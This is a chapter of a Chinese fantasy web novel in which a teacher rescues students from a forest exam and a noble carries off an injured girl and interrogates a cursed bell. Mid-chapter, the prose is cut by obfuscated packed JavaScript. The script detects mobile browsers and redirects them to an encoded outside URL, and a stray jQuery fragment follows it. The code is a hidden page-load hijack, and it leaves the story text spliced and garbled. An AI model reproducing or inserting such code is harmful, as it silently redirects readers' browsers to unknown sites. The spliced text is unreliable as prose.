在漆黑的南雾森林中,一抹耀眼的红焰快速移动着。
科琳沉着脸,快速在树木间穿梭着。她身后跟着几名护卫队队员,哪怕行动敏捷,却勉强才能跟上科琳的速度。
“东北方向有战斗动静。”一名负责侦察的队员有序报告,“至少有五名考生,被多只魔物围攻。”
科琳立即下达命令:“带你的人去清场。记住,学生优先。如果遇到黑魔法师,别硬碰,发送传声魔法给所有队伍的负责人。”
“明白。”他点头,调转行动方向,有几人跟着也迅速消失在树影中。
剩下几个留在科琳身边,一路上负责协助科琳营救学生。科琳身后火焰炸开,托着她整个人往前冲刺,她脑子里全是方才安顿赞达时,他哭得稀里哗啦却依旧努力告知情况的脸,还有艾特南手臂上那些狰狞的绿色纹路。
正是因为有学生的亲口承认,犹豫不决的护卫队才不再阻拦科琳,迅速跟随他她进入森林,也同时正式向学院和军队呼叫紧急救援。
——菲莉西蒂正在直面黑魔法师。
这是赞达撕心裂肺传达的消息。
科琳咬牙,速度再次加快,向着艾特南预先标记的地点飞速前进。
沿途的景象越来越糟。
断裂的树木,魔物特有的腐臭味,还有正被援军架着的伤员。
就快到了。
科琳感受着标记越来越近,却猛地停住。她身后努力追赶的队员喘着气,不明白这位急着救人的老师怎么突然停了下来,他们顺着她的视线看去:“科琳老师,你怎么——”
他们看见了一个男人。
站在高处的枝干上,黑色短发,红色眼瞳,怀里抱着个被外套裹得严严实实的人,看轮廓与脚部露出的法袍,应该是个学生。
科琳当然认出了眼前男人的身份,她下意识敬礼以示尊重,这是战争期间士兵对于将领的礼节。她并没有细想为什么远在梵希兰德的奥布莱顿家主会出现在这里,只是焦急想要向他说明黑魔法师的事。
如果是这个人在的话,就没什么需要担心的了。
就在她要出口时,脑海中就接收到了塞瑟隆的传声魔法。
【科琳指挥官,好久不见~森林内已无黑魔法师,可以放心。但我这里有个孩子可能需要你的帮助。】
科琳诧异,没想到只是一次临时作战的接触,塞瑟隆还能记得她的名字。科琳的目光这才真正聚焦到对方怀里那个被仔细包裹着的人影上,方才因光线昏暗未能第一时间辨认,此刻细看那露出的半张苍白侧脸——
是菲莉西蒂。
科琳一直高悬的心才终于落回实处,但对方如今的样子也说不上情况安全。
她立刻通过传声魔法回应,急切道:【阁下!请问这孩子怎么了?】
【还活着。】即使现在是用传声,塞瑟隆还是放低了声音,【但情况不太好。魔力暴走,反噬严重,我暂时压制下去了,还是得尽快处理。】
魔力暴走?
科琳心里惊讶,立即想到了先前所见的狂暴雷柱。
那种等级的魔力暴走攻击,竟然是由魔力储量一向少得可怜的菲莉西蒂引起的?!
【多谢阁下出手。】科琳压下心中的疑惑,郑重道谢,【这里是希尔维斯特的升学考场,不知为何混入了黑魔法师和魔物,我们正在组织营救考生。】
对方的传声再次响起:【这孩子体内暴走的魔力只是暂时压制,仍需持续疏导,不便在此久留。我先带她离开,后续稳定后会再与你联系~】
科琳没有犹豫,曾经在塞瑟隆手下干过一阵子的她由衷相信对方的人品:【明白。再次感谢!】
尾音有些颤抖,如果不是塞瑟隆及时出现,她实在不敢相信魔力暴走的菲莉西蒂如今又会是什么情况。
塞瑟隆不再多说,脚下一点,人已经腾空而起,快速从原地消失。
直到那身影彻底看不清了,科琳才缓缓松了一口气。
“科琳老师,”身后一名队员上前一步,方才他们都注意到了双方的传声魔法,不敢出言打搅,低声询问,“那我们现在是?”
科琳利落转身,已恢复冷静的她沉稳布置任务:“黑魔法师已清除。现在的首要任务就是确认所有考生安全,搜救伤员,清理残余魔物,遇到任何情况,即时汇报。”
“是!”队员们齐声应道,并将消息迅速传递给其它队伍。
天边,第一缕真正的晨光,终于穿透厚重的云层。
天亮了。
*
希尔维斯特主城,一家不起眼的树屋旅馆内。
塞瑟隆抱着菲莉西蒂从走廊的窗户翻入时,他房间前守着的两个人还在争吵。
“家主大人不是让你好好看着阁下吗?!怎么一转眼人就不见了!”
“你又不是不清楚!以塞瑟隆阁下的性子,怎么可能乖乖在房间待着!”
他刚落地,说话的年轻男人立马停下辩论,脸上毫无背后议论长官的尴尬,赶忙迎上,焦急道:“阁下,您——”
“嘘。”塞瑟隆将食指放至唇前示意,表情难得认真。
男人立刻闭嘴,目光落在塞瑟隆怀里那个被裹得严严实实的女孩身上,眼中闪过疑惑,但没敢出声询问。
怎么阁下出去一会,还带了个孩子回来?
他冲另一位肩负“照顾”阁下使命的同事安莉卡使眼色,却依旧如往常一样,只得到她的一记白眼。
塞瑟隆走进房间,小心翼翼地把女孩放在柔软的床上。女孩无知觉地躺着,双目紧闭,脸色苍白,黑色长发铺散在枕上,更衬得脸小巧得近乎稚气,也正因如此,她脸上的血迹也显得格外刺目。
塞瑟隆眉头蹙起,打了个极轻的响指。床头矮柜上叠放的干净毛巾应声浮起,一股温热的水流凭空涌出,浸透毛巾。他伸手接住,双手拢着拧干,轻轻擦去女孩脸上的血痕。虽然他已经有意识地减轻力度,但依旧在苍白细嫩的皮肤上留下了显眼的红痕。
塞瑟隆难得地反思了一下。
难道……自己真的不适合照顾孩子?
这念头让他有点烦躁。塞瑟隆索性站起身,打算去外面把安莉卡叫进来。可才刚迈出两步,身后床铺便传来窸窣的动静。
塞瑟隆赶紧回头。床上的女孩不安地动了动,却没有醒来,只是皱起脸,手指无意识地抓住了身下的床单。原本已被他强行压制下去的躁动雷元素,似乎因他的远离而失去束缚,又开始蠢蠢欲动。
没有一点犹豫,塞瑟隆立马又坐回床边。
在他坐定的瞬间,女孩眉头舒展,又重新规矩地把手交叠着放回小腹前,就像蜷缩在巢中的幼鸟,只有确认庇护者在身旁,才能安心地睡去。
塞瑟隆拿过一旁叠放的薄毯,笨拙地盖在女孩身上。他看着眼前安静躺着的孩子,难得回忆起了一些久远的事。
奥布莱顿家的继承人生来就是被众星捧月的存在。自他记事起,塞瑟隆·奥布莱顿的世界就被无止境的训练充斥,人生的所有阶段都被精确规划。傲人的天赋更是让他聚于众目睽睽之下,承担起家族的未来是所有族人对他的期许。
照顾人?
那不是他需要学习的技能,自有无数双手会为他打点好一切。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164952|196665||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
塞瑟隆·奥布莱顿只需要强大,只需要像一柄出鞘即见血的利剑,永远悬在奥布莱顿家族的徽记之上,震慑众人。
在按部就班进入大多由贵族才能就读的顶尖学院后,在极为日常的一天中,他如往常般与自己的死对头兼队友在训练场中央对骂着。
你一言我一语,从刚才某个法术的释放时机吵到对方的发型,总是笑眯眯当和事佬的老好人队长忍无可忍地插到两人中间,对一向引发争吵的罪魁祸首叹气:
“塞瑟隆,你这家伙以后要是有了孩子怎么办?就你这脾气,不得把孩子吓哭?”
塞瑟隆当时正擦拭自己新买的刀刃,头也没抬:“该教教,该练练。”
“哈?”被劝下后没办法好好收拾对方的红发女人不爽抱胸站在一旁,无语至极,“你以为养孩子是训练士兵呢?”
塞瑟隆眉头微挑:“不然?”
红发女人冷笑,看向他的琥珀色眼睛中带着“无药可救”的肯定:“你还是一个人孤独终老吧,别祸害别人家好姑娘了。至于照顾孩子——”
她摇头,语气斩钉截铁:“你绝对不行!”
当时的塞瑟隆嗤之以鼻。
他学什么不是一学就会?照顾个孩子能有多难?
他甚至在闲暇时还漫不经心地预想过:如果自己将来有了孩子,会是什么样呢?
唔,反正他会是一个强大可靠、令孩子骄傲的父亲!
年轻的塞瑟隆绞尽脑汁也只能想到这一点,他所经历的温情太少,根本不知道正常的家庭相处模式是何种形式。
那时的他,年轻气盛,站在天赋与家世堆砌的高塔上,立于众人面前,认为强大可以解决一切问题。
直到苍白之灾爆发,所有的一切都改变了。
如今,看着女孩脸上那抹被自己不小心擦出的红痕,塞瑟隆翘着腿,手肘撑在膝盖上支着脸。
唔,奥莉那家伙好像终于说对一次。
正因盯得久了,塞瑟隆才注意到抱着女孩的外套口袋在不安分地蠕动,他像终于想起什么似的拍了下脑袋,伸手将铃铛掏了出来。他起身,在房间书桌前布下一层静音屏障,隔绝开了沉睡的女孩。
塞瑟隆随手将正在装死的铃铛扔在桌上,笑眯眯地说:“好久不见呀!我不是让你好好待着反省吗?怎么出来的?”
铃铛一动不动,缝隙闭得严严实实,装着自己就是个普通的饰品。
塞瑟隆知道那是眼前这个灾厄魔器的嘴巴,他心平气和道:“我知道你没办法和我说话,但我记得你好像也会传声魔法来着。”
塞瑟隆眼尾上挑,笑着和它打商量:“你把我想知道的告诉我,然后我再给你挑个好地方再封起来,好不好?”
这个不要脸的神眷者!
铃铛开始发抖,有气的,更多还是吓的。
“行。”
看它还是不愿意妥协,塞瑟隆也不生气,手腕一转,一柄小刀瞬间出现在他的手中。
刀身在他指间转了一圈,然后刀尖朝下,猛地钉在了铃铛一旁的桌上。
离它的身体就只有极短的距离。
铃铛跳了起来,头顶的金链子狂抖,表面的暗纹开始亮起微光,昭示着它的屈服。
塞瑟隆正兴致勃勃地等着呢,就看到它突然一下灭了,身体滚动着将缝隙对准某个方向,一张一合,不知在说些什么。
怎么回事?
塞瑟隆好奇跟着看去。
一双琥珀色的眼睛,茫然地对上了他的视线。
把方才某人试图以武力胁迫弱小铃铛的样子看得一清二楚。